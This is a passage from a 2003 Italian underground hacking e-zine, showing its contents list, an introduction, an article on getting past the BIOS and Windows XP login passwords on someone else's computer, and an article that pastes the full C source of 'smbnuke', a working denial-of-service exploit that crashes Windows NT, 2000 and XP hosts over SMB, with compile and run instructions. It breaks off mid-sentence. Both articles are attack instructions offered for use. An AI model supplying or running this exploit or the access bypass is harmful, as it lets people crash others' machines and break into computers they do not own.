+----------------------------------------------------------------------------+ | Il terzo numero della e-zine riguardante l'underground italiano | +----------------------------------------------------------------------------+ | IIII LLLL I N F O R M A Z I O N E L I B E R A E - Z I N E N 0 2 | | IIII LLLL | | IIII LLLL [ST4MP4 UND3RGR0UND] - [Stampa Underground] | | IIII LLLL | | IIII LLLLLLLL www.informazionelibera.cjb.net ~ cyberdudemail@libero.it | | IIII LLLLLLLL | +----------------------------------------------------------------------------+ +----------------------------------------------------------------------------+ | L E G A L D I S C L A I M E R | +----------------------------------------------------------------------------+ |Nota bene: Informazionelibera non si riterrà responsabile di eventuali danni| |provocati dal cattivo utilizzo delle notizie presenti in questa e-zine!tutti| |gli articoli sono scritti a scopo dimostrativo con l'intento di spiegare| |e approfondire conoscenze informatiche. Qualsiasi uso illecito delle info| |presenti nella e-zine è responsabilità del fautore di tale inflazione | +----------------------------------------------------------------------------+ +----------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | +----------------------------------------------------------------------------+ | Diritti e doveri dei cittadini: Rapporti civili | | Articolo 21 | | Tutti hanno diritto di manifestare liberamente il proprio pensiero cone la | | parola , lo scritto e ogni altro mezzo di diffusione. [...] | +----------------------------------------------------------------------------+ +----------------------------------------------------------------------------+ | M E N U ' | +----------------------------------------------------------------------------+ |~ iNTrOdUzIoNe aL GiOrNaLe .................................. Cyberdude ....| +----------------------------------------------------------------------------+ |~ [hAcKiNg & EXpLoIt] | |00 Bypassare protezione iniziale WinXP ...................... Cyberdude ....| |01 Non nominate mai SMB DoS in presenza di Bill, si offende!. Unrelated ....| |02 Google Hack&Service ...................................... Unrelated ....| |03 Exploitare HPUX ftpd ..................................... Marsio&Branton| |04 Magic Winmail Server vulnerabile ......................... Marsio .......| |05 Denial Of Service e codice arbitrario in Apache APR 2.X .. Branton ......| |06 Cartelle web ............................................. LeonHack .....| |07 Service.pwd .............................................. LeonHack .....| |08 Bufferoverflow dell'heap ................................. Loxeo ........| |09 Fool netstat ............................................. Loxeo ........| |10 Hacker Journal 2 euro no no no no ........................ Tailot .......| |11 Switch table poisoning ................................... [Evil] .......| +----------------------------------------------------------------------------+ |~ [mIrCsCrIpTiNg] | |12 Creiamo uno spyquery ..................................... BlackSword ...| +----------------------------------------------------------------------------+ |~ [InFo SeCuRiTy & cRiTtOgRaFiA] | |13 Nascondere informazioni .................................. Tailot .......| |14 709 La nuova truffa della bolletta ....................... Cyberdude ....| |15 Linux&Snort .............................................. _-PaKi-_ .....| |16 Nei meandri di Iptables .................................. Marsio .......| +----------------------------------------------------------------------------+ |~ [hAcK-NeTwOrKiNg] | |17 Ma ste bip di condivisioni di rete ....................... Unrelated ....| |18 Il modello Osi/Iso ....................................... {N}oRt{ON} ...| |19 Protocolli TCP/IP ........................................ iNs3cT- ......| |20 Internet Explorer 6 recent bug list and explanation ...... Dejavu .......| |21 KERBEROS versione 5 ...................................... LukeSky Walker| +----------------------------------------------------------------------------+ |~ [PhONE pHrEakInG] | |22 Ricariche Tim : Bug 119 .................................. Cyberdude ....| |23 Qual'è il numero di questa cabina? ....................... Cyberdude ....| |24 Trasformare cell in scanner .............................. ph|l|pp3 .....| +----------------------------------------------------------------------------+ |~ [AnTiSpAmMeR] | |25 Disattivare i messaggi su XP ............................. BigAlex ......| +----------------------------------------------------------------------------+ |~ [PrOgRaMmAzIoNe & ArChItEtTuRa dEgLi eLabOrAtOrI] | |26 Logica Digitale .... ALU ................................. Brnocrist ....| |27 Interfaccia per pagamento con carta di credito in ASP .... Cyberdude ....| |28 Costruiamo un telnet in visual basic ..................... Leonhack .....| |29 Introduzione alle variabili di Visual Basic .............. Leonhack .....| |30 Installazione di un portale php .......................... Aristotele ...| +----------------------------------------------------------------------------+ |~ [S.S. sFrUtTaMeNtO SoFtWaRe] | |31 Videogames for dummies ................................... Graftal ......| |32 Copiare un DVD ........................................... Graftal ......| +----------------------------------------------------------------------------+ |~ [Le bAsI & aPpRoFoNdImEntI] | |33 Cenni d'informazione sui Cd's ............................ Kornuto ......| |34 L'operato di un hacker ................................... Nexus85 ......| +----------------------------------------------------------------------------+ |~ [LoG cRiTiChE E pOlEmIcHe] | |35 critica e complimenti del nemero 01 ...................... Inkompatible_ | |36 Philosophy Underground ................................... Unrelated ....| +----------------------------------------------------------------------------+ +-------------------------------------+ |©Copyright Informazionelibera E-zine®| |III Edizione 27 giugno 2003 | +-------------------------------------+ ----------------------------------------------------------------- +-----------------------------------------------------------------------------+ | I N T R O D U Z I O N E A L G I O R N A L E | +-----------------------------------------------------------------------------+ |Salve a tutti… vorrei spendere quattro parole prima di innescare la lettura | |di questo terzo numero di informazionelibera. Questa e-zine ha visto i suoi | |primordi il 4 maggio 2003 e da allora non sono mancate le critiche. Man mano | |con il passare del tempo abbiamo cercato di migliorare il nostro prodotto e | |grazie ai vostri consigli cercheremo di migliorare ancora. Vorrei però, | |sottolineare soltanto il fatto che nessuno di noi è un genio informatico. | |Siamo semplici ragazzi, che con il pretesto di scrivere per | |informazionelibera cercano di ampliare le proprie conoscenze, di | |socializzare con altre persone che scrivono per il giornale, per stare in | |mezzo, per capire e per crescere sempre di più giorno dopo giorno. Con | |questo breve discorso vorrei far capire ai lettori che noi non abbiamo la | |presunzione di sentirci grandi, noi abbiamo l'umiltà di ammettere che | |sappiamo poco, ma che vogliamo sapere di più e vogliamo far conoscere a | |tutti quel poco che sappiamo. Informazionelibera è il nostro strumento, è il | |nostro punto di riferimento… è grazie a questo giornale che possiamo dire la | |nostra, che possiamo esprimerci con la tutta società underground. Cerchiamo | |di parlare sempre di cose nuove, semplici e complesse per destare interesse | |nei nostri lettori... ed è anche per questo che aspettiamo le vostre | |critiche, i vostri consigli, per migliorare sempre di più e far divenire | |Informazionelibera un punto di riferimento anche per gli altri. Ora ci metto | |un punto e vi lascio alla lettura della e-zine ciao a tutti. | |Ps. Ci scusiamo per eventuali errori riscontrati nei precedenti numeri della | |e-zine e speriamo che tali errori non si verifichino più nei prossimi numeri | +-----------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------+ | BYPASSARE PROTEZIONE INIZIALE WIN XP | +------c-y-b-e-r-d-u-d-e---t-e-x-t-----+ Ciao a tutti ragazzi… dunque oggi 8 giugno 2003 sotto suggerimento di Unrelated sono giunto alla conclusione di scrivere il seguente articolo : come bypassare la password di accensione in Win XP. Dunque supponiamo per un momento di trovarci di fronte ad un computer che non è nostro protetta da duplice password all'accesso. La prima riguarda il bios, la seconda l'accesso a XP. Come risolviamo il problema? ---------------- |PASSWORD DA BIOS| ---------------- Per quanto riguarda questo piccolo inconveniente non rappresenta una vera cima da scalare per qualunque newbie, infatti è sempre valido il seguente trucchetto: smonta il case, togli la batteria dalla scheda madre e aspetta qualche minuto…rimonta tutto! Il gioco è fatto, la prima password da dilettanti è stata tolta. Ora ci rimane quella di XP non preoccupatevi perché non è molto difficile. -------------- |PASSWORD DA XP| -------------- Dunque dovremmo farcela in un paio di passaggi… supponiamo che sul nostro caro computer da bypassare non si vede un Administrator da selezionare ma c'è solo un utente! Beh probabilmente questo utente ha privilegi di amministratore e l'account del vero admin non è visibile per motivi di sicurezza , se così vogliamo dire perché come al solito il buon vecchio volpone dello zio Bill ha fatto una delle sue furbate! In che consiste la furbata? Scopriamolo insieme, provate a fare così … Prima che Windows vi mostri la schermata di logon, premete F8 ed entrate in modalità provvisoria. Il sistema vi restituirà la solita schermata per l'inserimento della password ma hahahaha c'è qualcosa di diverso da prima, qui entra in atto la furbizia dello zio, udite udite, c'è un altro nome scritto lì… provate ad intuire voi da soli quale sia? Avete proprio indovinato è il nostro caro Administrator. Che coglionata! Adesso non vi resta che cliccare su Administrator entrare senza problemi perché guarda caso, non c'è la necessità di inserire una password. Adesso, finalmente possiamo cambiare la password dell'admin…ovviamente solo se come in questo caso l'utente con privilegi da amministratore non usa proprio admin come nome utente, ma è molto raro! A questo punto non ci resta che riavviare il sistema in modalità normale, poi davanti alla schermata di logon usate la combinazione ctrl+alt+canc per 2 volte consecutive (o una se basta) … a questo punto, vi si presenterà una nuova schermata di logon nella quale potete inserire manualmente il nome Administrator e password che avete impostato prima. Facile vero? Beh a questo punto non penso vi servano altre indicazioni, siete i padroni incontrastati della macchina ;) ---------------------------------- |PRECAUZIONI E CONSIGLI DALL'AUTORE| ---------------------------------- Ragazzi… non mi sembra molto difficile da comprendere quale sia il mio consiglio per proteggervi da un tale bypass ma comunque lo dico per i più … TOC TOC (duri di comprendonio) … come nome utente usate proprio Administrator in modo che non può essere usato da altri. Fine Cyberdude <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ----- ___________________________________ |Questo articolo lo dedico ad un mio| |amico che hanno ammazzato| |freddandolo davanti agli occhi dei| |suoi figli perchè non aveva| |voluto pagare il pizzo... Antonio| |Corbisiero ti giuro che ho| |ancora i brividi... voglio però| |ricordarti come eri... bravo| |lavoratore e ottimo padre di| |famiglia... 7 giugno 2003| |Scusami se non ho fatto di meglio..| +-----------------------------------+ -----< SMB DoS >-------------------------------------------------- Anche se mi scoccia, non essendo un linuxiano, descrivere questo exploit, la mia etica me lo impedisce e poi che cazz ma la micro quando finisce di giocare e fa qualcosa di serio nemmeno xp prof è esente da alcuni attacchi da parte di sistemi linux o FreeBSD. Comunque poi in un altro tutorial quando mi sarò documentato a sufficienza descriverò le funzionalità di 1 traduttore universale di tutti i linguaggi ad altri linguaggi... nn dico scemate esiste ma è a pagamento e piratato non lo trovo kmq prossimamente ne parlerò... la vendica di win2k è vicina.. ora ritorniamo a noi... Non so se vi ricordate l'OOB Nuker quel programmino che faceva molto male e crashava i sistemi windows facendo comparire quella schermatina blu... nemmeno io me lo ricordo ma lessi un articolo su una zine molto vecchia... bene qui è la stessa cosa ora non mi metto a spiegarvi come funge un attacco dos ma arrivo subito al sodo, qui vi pasto il soft in c pronto da compilare, deve essere compilato con "gcc -o smbnuke smbnuke.c" e l'eseguibile generato si richiama sotto il nome di "./smbnuke" + l'IP da nukkare... cmq il tutor non è finito qui ci vediamo dopo la pastazione... __________________________________________________________________ /* * smbnuke.c -- Windows SMB Nuker (DoS) - Proof of concept * Copyright (C) 2002 Frederic Deletang (df@phear.org) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 of * the License or (at your option) any later version. * * This program is distributed in the hope that it will be * useful, but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ /* NOTE: * Compile this program using only GCC and no other compilers * (except if you think this one supports the __attribute__ (( packed )) * attribute) * This program might not work on big-endian systems. * It has been successfully tested from the following plateforms: * - Linux 2.4.18 / i686 * - FreeBSD 4.6.1-RELEASE-p10 / i386 * Don't bother me if you can't get it to compile or work on Solaris using the * SunWS compiler. * * Another thing: The word counts are hardcoded, careful if you hack the * sourcer. */ /* Copyright notice: * some parts of this source (only two functions, name_len and name_mangle) * has been taken from libsmb. The rest, especially the structures has * been written by me. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SESSION_REQUEST 0x81 #define SESSION_MESSAGE 0x00 #define SMB_NEGOTIATE_PROTOCOL 0x72 #define SMB_SESSION_SETUP_ANDX 0x73 #define SMB_TREE_CONNECT_ANDX 0x75 #define SMB_COM_TRANSACTION 0x25 #define bswap16(x) \ ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8)) typedef struct { unsigned char server_component[4]; unsigned char command; unsigned char error_class; unsigned char reserved1; uint16_t error_code; uint8_t flags; uint16_t flags2; unsigned char reserved2[12]; uint16_t tree_id; uint16_t proc_id; uint16_t user_id; uint16_t mpex_id; } __attribute__ ((packed)) smb_header; typedef struct { unsigned char type; unsigned char flags; unsigned short length; unsigned char called[34]; unsigned char calling[34]; } __attribute__ ((packed)) nbt_packet; typedef struct { /* wct: word count */ uint8_t wct; unsigned char andx_command; unsigned char reserved1; uint16_t andx_offset; uint16_t max_buffer; uint16_t max_mpx_count; uint16_t vc_number; uint32_t session_key; uint16_t ANSI_pwlen; uint16_t UNI_pwlen; unsigned char reserved2[4]; uint32_t capabilities; /* bcc: byte count */ uint16_t bcc; } __attribute__ ((packed)) session_setup_andx_request; typedef struct { /* wct: word count */ uint8_t wct; unsigned char andx_command; unsigned char reserved1; uint16_t andx_offset; uint16_t flags; uint16_t pwlen; uint16_t bcc; } __attribute__ ((packed)) tree_connect_andx_request; typedef struct { /* wct: word count */ uint8_t wct; uint16_t total_param_cnt; uint16_t total_data_cnt; uint16_t max_param_cnt; uint16_t max_data_cnt; uint8_t max_setup_cnt; unsigned char reserved1; uint16_t flags; uint32_t timeout; uint16_t reserved2; uint16_t param_cnt; uint16_t param_offset; uint16_t data_cnt; uint16_t data_offset; uint8_t setup_count; uint8_t reserved3; /* bcc: byte count */ uint16_t bcc; } __attribute__ ((packed)) transaction_request; typedef struct { uint16_t function_code; unsigned char param_descriptor[6]; unsigned char return_descriptor[7]; uint16_t detail_level; uint16_t recv_buffer_len; } __attribute__ ((packed)) parameters; typedef struct { uint8_t format; unsigned char *name; } t_dialects; t_dialects dialects[] = { {2, "PC NETWORK PROGRAM 1.0"}, {2, "MICROSOFT NETWORKS 1.03"}, {2, "MICROSOFT NETWORKS 3.0"}, {2, "LANMAN1.0"}, {2, "LM1.2X002"}, {2, "Samba"}, {2, "NT LM 0.12"}, {2, "NT LANMAN 1.0"}, {0, NULL} }; enum { STATE_REQUESTING_SESSION_SETUP = 1, STATE_NEGOTIATING_PROTOCOL, STATE_REQUESTING_SESSION_SETUP_ANDX, STATE_REQUESTING_TREE_CONNECT_ANDX, STATE_REQUESTING_TRANSACTION } status; const unsigned char *global_scope = NULL; /**************************************************************************** * return the total storage length of a mangled name - from smbclient * ****************************************************************************/ int name_len (char *s1) { /* NOTE: this argument _must_ be unsigned */ unsigned char *s = (unsigned char *) s1; int len; /* If the two high bits of the byte are set, return 2. */ if (0xC0 == (*s & 0xC0)) return (2); /* Add up the length bytes. */ for (len = 1; (*s); s += (*s) + 1) { len += *s + 1; assert (len < 80); } return (len); } /* name_len */ /**************************************************************************** * mangle a name into netbios format - from smbclient * Note: must be (33 + strlen(scope) + 2) bytes long, at minimum. * ****************************************************************************/ int name_mangle (char *In, char *Out, char name_type) { int i; int c; int len; char buf[20]; char *p = Out; /* Safely copy the input string, In, into buf[]. */ (void) memset (buf, 0, 20); if (strcmp (In, "*") == 0) buf[0] = '*'; else (void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type); /* Place the length of the first field into the output buffer. */ p[0] = 32; p++; /* Now convert the name to the rfc1001/1002 format. */ for (i = 0; i < 16; i++) { c = toupper (buf[i]); p[i * 2] = ((c >> 4) & 0x000F) + 'A'; p[(i * 2) + 1] = (c & 0x000F) + 'A'; } p += 32; p[0] = '\0'; /* Add the scope string. */ for (i = 0, len = 0; NULL != global_scope; i++, len++) { switch (global_scope[i]) { case '\0': p[0] = len; if (len > 0) p[len + 1] = 0; return (name_len (Out)); case '.': p[0] = len; p += (len + 1); len = -1; break; default: p[len + 1] = global_scope[i]; break; } } return (name_len (Out)); } int tcp_connect (const char *rhost, unsigned short port) { struct sockaddr_in dest; struct hostent *host; int fd; host = gethostbyname (rhost); if (host == NULL) { fprintf (stderr, "Could not resolve host: %s\n", rhost); return -1; } dest.sin_family = AF_INET; dest.sin_addr.s_addr = *(long *) (host->h_addr); dest.sin_port = htons (port); fd = socket (AF_INET, SOCK_STREAM, 0); if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0) { fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port, strerror (errno)); return -1; } return fd; } void build_smb_header (smb_header * hdr, uint8_t command, uint8_t flags, uint16_t flags2, uint16_t tree_id, uint16_t proc_id, uint16_t user_id, uint16_t mpex_id) { memset (hdr, 0, sizeof (smb_header)); /* SMB Header MAGIC. */ hdr->server_component[0] = 0xff; hdr->server_component[1] = 'S'; hdr->server_component[2] = 'M'; hdr->server_component[3] = 'B'; hdr->command = command; hdr->flags = flags; hdr->flags2 = flags2; hdr->tree_id = tree_id; hdr->proc_id = proc_id; hdr->user_id = user_id; hdr->mpex_id = mpex_id; } unsigned char * push_string (unsigned char *stack, unsigned char *string) { strcpy (stack, string); return stack + strlen (stack) + 1; } void request_session_setup (int fd, char *netbios_name) { nbt_packet pkt; pkt.type = SESSION_REQUEST; pkt.flags = 0x00; pkt.length = bswap16 (sizeof (nbt_packet)); name_mangle (netbios_name, pkt.called, 0x20); name_mangle ("", pkt.calling, 0x00); write (fd, &pkt, sizeof (nbt_packet)); } void negotiate_protocol (unsigned char *buffer, int fd) { smb_header hdr; unsigned char *p; uint16_t proc_id, mpex_id; int i; proc_id = (uint16_t) rand (); mpex_id = (uint16_t) rand (); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0, mpex_id); memcpy (buffer + 4, &hdr, sizeof (smb_header)); p = buffer + 4 + sizeof (smb_header) + 3; for (i = 0; dialects[i].name != NULL; i++) { *p = dialects[i].format; strcpy (p + 1, dialects[i].name); p += strlen (dialects[i].name) + 2; } /* Set the word count */ *(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0; /* Set the byte count */ *(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) = (uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3); *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4)); write (fd, buffer, p - buffer); } void request_session_setup_andx (unsigned char *buffer, int fd) { smb_header hdr; session_setup_andx_request ssar; uint16_t proc_id, mpex_id; unsigned char *p; proc_id = (uint16_t) rand (); mpex_id = (uint16_t) rand (); build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0, proc_id, 0, mpex_id); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); p = buffer + 4 + sizeof (smb_header); memset (&ssar, 0, sizeof (session_setup_andx_request)); ssar.wct = 13; ssar.andx_command = 0xff; /* No further commands */ ssar.max_buffer = 65535; ssar.max_mpx_count = 2; ssar.vc_number = 1025; ssar.ANSI_pwlen = 1; p = buffer + 4 + sizeof (smb_header) + sizeof (session_setup_andx_request); /* Ansi password */ p = push_string (p, ""); /* Account */ p = push_string (p, ""); /* Primary domain */ p = push_string (p, "WORKGROUP"); /* Native OS */ p = push_string (p, "Unix"); /* Native Lan Manager */ p = push_string (p, "Samba"); ssar.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (session_setup_andx_request); memcpy (buffer + 4 + sizeof (smb_header), &ssar, sizeof (session_setup_andx_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (session_setup_andx_request) + sizeof (smb_header) + ssar.bcc)); write (fd, buffer, sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 + ssar.bcc); } void request_tree_connect_andx (unsigned char *buffer, int fd, const char *netbios_name) { smb_header hdr; tree_connect_andx_request tcar; uint16_t proc_id, user_id; unsigned char *p, *q; proc_id = (uint16_t) rand (); user_id = ((smb_header *) (buffer + 4))->user_id; build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id, user_id, 0); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); memset (&tcar, 0, sizeof (tree_connect_andx_request)); tcar.wct = 4; tcar.andx_command = 0xff; /* No further commands */ tcar.pwlen = 1; p = buffer + 4 + sizeof (smb_header) + sizeof (tree_connect_andx_request); /* Password */ p = push_string (p, ""); /* Path */ q = malloc (8 + strlen (netbios_name)); sprintf (q, "\\\\%s\\IPC$", netbios_name); p = push_string (p, q); free (q); /* Service */ p = push_string (p, "IPC"); tcar.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (tree_connect_andx_request); memcpy (buffer + 4 + sizeof (smb_header), &tcar, sizeof (tree_connect_andx_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (tree_connect_andx_request) + sizeof (smb_header) + tcar.bcc)); write (fd, buffer, sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 + tcar.bcc); } void request_transaction (unsigned char *buffer, int fd) { smb_header hdr; transaction_request transaction; parameters params; uint16_t proc_id, tree_id, user_id; unsigned char *p; proc_id = (uint16_t) rand (); tree_id = ((smb_header *) (buffer + 4))->tree_id; user_id = ((smb_header *) (buffer + 4))->user_id; build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id, user_id, 0); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); memset (&transaction, 0, sizeof (transaction_request)); transaction.wct = 14; transaction.total_param_cnt = 19; /* Total lenght of parameters */ transaction.param_cnt = 19; /* Lenght of parameter */ p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request); /* Transaction name */ p = push_string (p, "\\PIPE\\LANMAN"); transaction.param_offset = p - buffer - 4; params.function_code = (uint16_t) 0x68; /* NetServerEnum2 */ strcpy (params.param_descriptor, "WrLeh"); /* RAP_NetGroupEnum_REQ */ strcpy (params.return_descriptor, "B13BWz"); /* RAP_SHARE_INFO_L1 */ params.detail_level = 1; params.recv_buffer_len = 50000; memcpy (p, ¶ms, sizeof (parameters)); p += transaction.param_cnt; transaction.data_offset = p - buffer - 4; transaction.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request); memcpy (buffer + 4 + sizeof (smb_header), &transaction, sizeof (transaction_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (transaction_request) + sizeof (smb_header) + transaction.bcc)); write (fd, buffer, sizeof (transaction_request) + sizeof (smb_header) + 4 + transaction.bcc); } typedef struct { uint16_t transaction_id; uint16_t flags; uint16_t questions; uint16_t answerRRs; uint16_t authorityRRs; uint16_t additionalRRs; unsigned char query[32]; uint16_t name; uint16_t type; uint16_t class; } __attribute__ ((packed)) nbt_name_query; typedef struct { nbt_name_query answer; uint32_t ttl; uint16_t datalen; uint8_t names; } __attribute__ ((packed)) nbt_name_query_answer; char * list_netbios_names (unsigned char *buffer, size_t size, const char *rhost, unsigned short port, unsigned int timeout) { nbt_name_query query; struct sockaddr_in dest; struct hostent *host; int fd, i; fd_set rfds; struct timeval tv; printf ("Trying to list netbios names on %s\n", rhost); host = gethostbyname (rhost); if (host == NULL) { fprintf (stderr, "Could not resolve host: %s\n", rhost); return NULL; } memset (&dest, 0, sizeof (struct sockaddr_in)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = *(long *) (host->h_addr); dest.sin_port = htons (port); if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf (stderr, "Could not setup the UDP socket: %s\n", strerror (errno)); return NULL; } memset (&query, 0, sizeof (nbt_name_query)); query.transaction_id = (uint16_t) bswap16 (0x1e); //rand(); query.flags = bswap16 (0x0010); query.questions = bswap16 (1); name_mangle ("*", query.query, 0); query.type = bswap16 (0x21); query.class = bswap16 (0x01); if (sendto (fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest, sizeof (struct sockaddr_in)) != sizeof (nbt_name_query)) { fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno)); return NULL; } /* Now, wait for an answer -- add a timeout to 10 seconds */ FD_ZERO (&rfds); FD_SET (fd, &rfds); tv.tv_sec = timeout; tv.tv_usec = 0; if (!select (fd + 1, &rfds, NULL, NULL, &tv)) { fprintf (stderr, "The udp read has reached the timeout - try setting the netbios name manually - exiting...\n"); return NULL; } recvfrom (fd, buffer, size, 0, NULL, NULL); for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++) if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i + 15) == 0x20) return buffer + sizeof (nbt_name_query_answer) + 18 * i; printf ("No netbios name available for use - you probably won't be able to crash this host\n"); printf ("However, you can try setting one manually\n"); return NULL; } char * extract_name (const char *name) { int i; char *p = malloc(14); for (i = 0; i < 14; i++) if (name[i] == ' ') break; else p[i] = name[i]; p[i] = '\0'; return p; } void print_banner (void) { printf ("Windows SMB Nuker (DoS) - Proof of concept - CVE CAN-2002-0724\n"); printf ("Copyright 2002 - Frederic Deletang (df@phear.org) - 28/08/2002\n\n"); } int is_smb_header (const unsigned char *buffer, int len) { if (len < sizeof (smb_header)) return 0; if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M' && buffer[3] == 'B') return 1; else return 0; } int main (int argc, char **argv) { int fd, r, i, c; unsigned char buffer[1024 * 4]; /* Enough. */ char *hostname = NULL, *name = NULL; unsigned int showhelp = 0; unsigned int packets = 10; unsigned int state; unsigned int udp_timeout = 10; unsigned int tcp_timeout = 10; unsigned short netbios_ssn_port = 139; unsigned short netbios_ns_port = 137; fd_set rfds; struct timeval tv; srand (time (NULL)); print_banner (); while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1) { switch (c) { case 'N': name = optarg; break; case 'n': packets = atoi (optarg); break; case 'p': netbios_ns_port = atoi (optarg); break; case 'P': netbios_ssn_port = atoi (optarg); break; case 't': udp_timeout = atoi (optarg); break; case 'T': tcp_timeout = atoi (optarg); break; case 'h': default: showhelp = 1; break; } } if (optind < argc) hostname = argv[optind++]; if (showhelp || hostname == NULL) { printf ("Usage: %s [options] hostname/ip...\n", argv[0]); printf (" -N [netbios-name] Netbios Name (default: ask the remote host)\n"); printf (" -n [packets] Number of crafted packets to send (default: %d)\n", packets); printf (" -p [netbios-ns port] UDP Port to query (default: %d)\n", netbios_ns_port); printf (" -P [netbios-ssn port] TCP Port to query (default: %d)\n", netbios_ssn_port); printf (" -t [udp-timeout] Timeout to wait for receive on UDP ports (default: %d)\n", udp_timeout); printf (" -T [tcp-timeout] Timeout to wait for receive on TCP ports (default: %d\n", tcp_timeout); printf ("\n"); printf ("Known vulnerable systems: \n"); printf (" - Windows NT 4.0 Workstation/Server\n"); printf (" - Windows 2000 Professional/Advanced Server\n"); printf (" - Windows XP Professional/Home edition\n\n"); exit (1); } if (!name && (name = list_netbios_names (buffer, sizeof (buffer), hostname, netbios_ns_port, udp_timeout)) == NULL) exit (1); else name = extract_name (name); printf ("Using netbios name: %s\n", name); printf ("Connecting to remote host (%s:%d)...\n", hostname, netbios_ssn_port); fd = tcp_connect (hostname, netbios_ssn_port); if (fd == -1) exit (1); FD_ZERO (&rfds); FD_SET (fd, &rfds); tv.tv_sec = tcp_timeout; tv.tv_usec = 0; state = STATE_REQUESTING_SESSION_SETUP; request_session_setup (fd, name); for (;;) { if (!select (fd + 1, &rfds, NULL, NULL, &tv)) { if (state == STATE_REQUESTING_TRANSACTION) { fprintf (stderr, "Timeout during TCP read - Seems like the remote host has crashed\n"); return 0; } else { fprintf (stderr, "Nuke failed (tcp timeout) at state %#02x, exiting...\n", state); return 1; } } r = read (fd, buffer, sizeof (buffer)); if (r == 0) { printf ("Nuke failed at state %#02x (EOF, wrong netbios name ?), exiting...\n", state); exit (1); } if (((smb_header *) (buffer + 4))->error_class != 0) { fprintf (stderr, "Nuke failed at state %#02x, exiting...\n", state); exit (1); } switch (state) { case STATE_REQUESTING_SESSION_SETUP: printf ("Negotiating protocol...\n"); negotiate_protocol (buffer, fd); break; case STATE_NEGOTIATING_PROTOCOL: printf ("Requesting session setup (AndX)\n"); request_session_setup_andx (buffer, fd); break; case STATE_REQUESTING_SESSION_SETUP_ANDX: printf ("Requesting tree connect (AndX)\n"); request_tree_connect_andx (buffer, fd, name); break; case STATE_REQUESTING_TREE_CONNECT_ANDX: for (i = 0; i < packets; i++) { printf ("Requesting transaction (nuking) #%d\n", i + 1); request_transaction (buffer, fd); } printf ("Wait...\n"); break; default: printf ("Seems like the nuke failed :/ (patched ?)\n"); exit (1); } state++; } return 0; } __________________________________________________________________ rieccoci qui... diciamo che il codicillo ed in questo Evil può farmi da Mestore... invia 10 richieste al Nbios dipende da voi... se non ne riceve giusta risposta si ferma e compare la scritta patched... in primis il programma analizza proprio il nome del NetBios per capire se la macchina è protetta da un firewall oppure no... al termine dell'attacco il programma contatta l'host remoto e vede se risponde... se non risponde significa che l'attacco ha avuto successo... buhauhauhbuhhuahahaa i sistemi bugguti sono: WinNT4.0 Worksation/Server|2000 Win2000 Professional/Server WinXP!!! Professional l'exploit agisce testando la vulnerabilità dei protocolli che girano sotto le porte 139 a 145... cioè quelle di condivisione delle stampanti o file da locale e di rete da remoto... quindi testa il protocollo di rete CIFS, anche meglio possiamo definirlo con SMB cioè Server Message Block. Ma cosa accade in 2 parole... al comando SMB_COM_TRANSACTION vengono fatte richieste di pacchetti anomali ,l'SMB anomalo in questo caso chiede transizioni del tipo NetServerEnum2 - 1 - 0,in effetti delle richieste con in alcuni campi valori nulli basterebbero x fottere il sistema...quindi i primi 2 pacchetti sono strutturati anche dal default di win per entrare con un accesso anonimo. L'ultimo invece con 1 account valido... meno male che non si sono rimbecilliti del tutto quelli della mikrorotfl... Comunque il problema delle condivisioni di rete non protette da windows non può essere studiato così alla leggera non capireste tutto quello che c'è da capire sul NetBIOS e sul protocollo SMB, quindi vi invito a continuare a leggere i miei tutor perchè in un prossimo articolo che ho in elaborazione sto approfondendo di molto quello che c'è da 